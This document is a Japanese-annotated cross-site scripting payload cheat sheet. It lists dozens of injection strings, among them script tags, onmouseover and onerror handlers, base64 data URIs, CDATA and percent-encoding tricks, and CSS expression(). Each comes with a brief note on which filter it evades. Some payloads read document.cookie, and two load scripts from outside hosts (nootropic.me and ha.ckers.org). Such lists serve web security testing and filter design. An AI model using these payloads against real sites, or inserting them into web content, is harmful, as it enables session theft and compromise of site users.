'';!--"<XSS>=&{()}``\"
テスト文字列。まずはこの文字列を突っ込む。
<script>alert(1);</script>
単純なパターン
"><script>alert(1);</script>
単純なパターン2
<script src=http://nootropic.me/xss.js></script>
ダブルクォートやシングルクォートが使えない際
<ScrIpt>alert(1);</SCript>
単純にscriptタグが禁止されている際に使用出来る。他のタグでも使うことが出来る。
<a onmouseover="alert(document.cookie)">XSS</a>
<a onmouseover=alert(document.cookie)>XSS</a>
aタグを使用したXSS。
<<script>alert("XSS");//<</script>
<iframe src="javascript:alert('XSS');"></iframe>
<iframe src=# onmouseover="alert(document.cookie)"></iframe>
<EMBED SRC="data:image/svg+xml;base64,PHN2ZyB4bWxuczpzdmc9Imh0dHA6Ly93d3cudzMub3JnLzIwMDAvc3ZnIiB4bWxucz0iaHR0cDovL3d3dy53My5vcmcvMjAwMC9zdmciIHhtbG5zOnhsaW5rPSJodHRwOi8vd3d3LnczLm9yZy8xOTk5L3hsaW5rIiB2ZXJzaW9uPSIxLjAiIHg9IjAiIHk9IjAiIHdpZHRoPSIxOTQiIGhlaWdodD0iMjAwIiBpZD0ieHNzIj48c2NyaXB0IHR5cGU9InRleHQvZWNtYXNjcmlwdCI+YWxlcnQoIlhTUyIpOzwvc2NyaXB0Pjwvc3ZnPg==" type="image/svg+xml" AllowScriptAccess="always"></EMBED>
<script src="http://ha.ckers.org/xss.jpg"></script>
Javascriptの拡張子を画像に変えて動かしてる。
<img src="http://www.example.co.jp/>"onerror="alert(document.cookie)//<">
タグのフィルターが甘い場合に実行。
<![CDATA["><script>alert("XSS")</script><!--]]>
CDATAを使用したXSS。
"><script</*
*/alert(1);/*
*/</script><!--
それぞれ別のフォームに入力。文字数制限があっても結果的にalertが発動する。
%EF%BC%9Cscript%EF%BC%9Ealert(123)%EF%BC%9C/script%EF%BC%9E
パーセントエンコーディング。
";alert(document.domain)//
scriptタグ内にユーザが書き込める時に使える。
<SELECT NAME="" onmouseover=alert(123)></select>
selectタグを使ったXSS。
<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4='></iframe>
base64を使った手法。
<style><img src='</style><img src=x onerror=alert("XSS")//'>
<svg><style><img/src=x onerror=alert(1)// </b>
"><svg><script>alert(/1/.source)</script>
data:text/html,<script>alert(0)</script>
<div style="left:expression(alert('xss'))">
<div style="left:expRessioN(alert('xss'))">
rとnの代わりにUnicode文字列を用いている。単純なexpressionフィルタを回避する。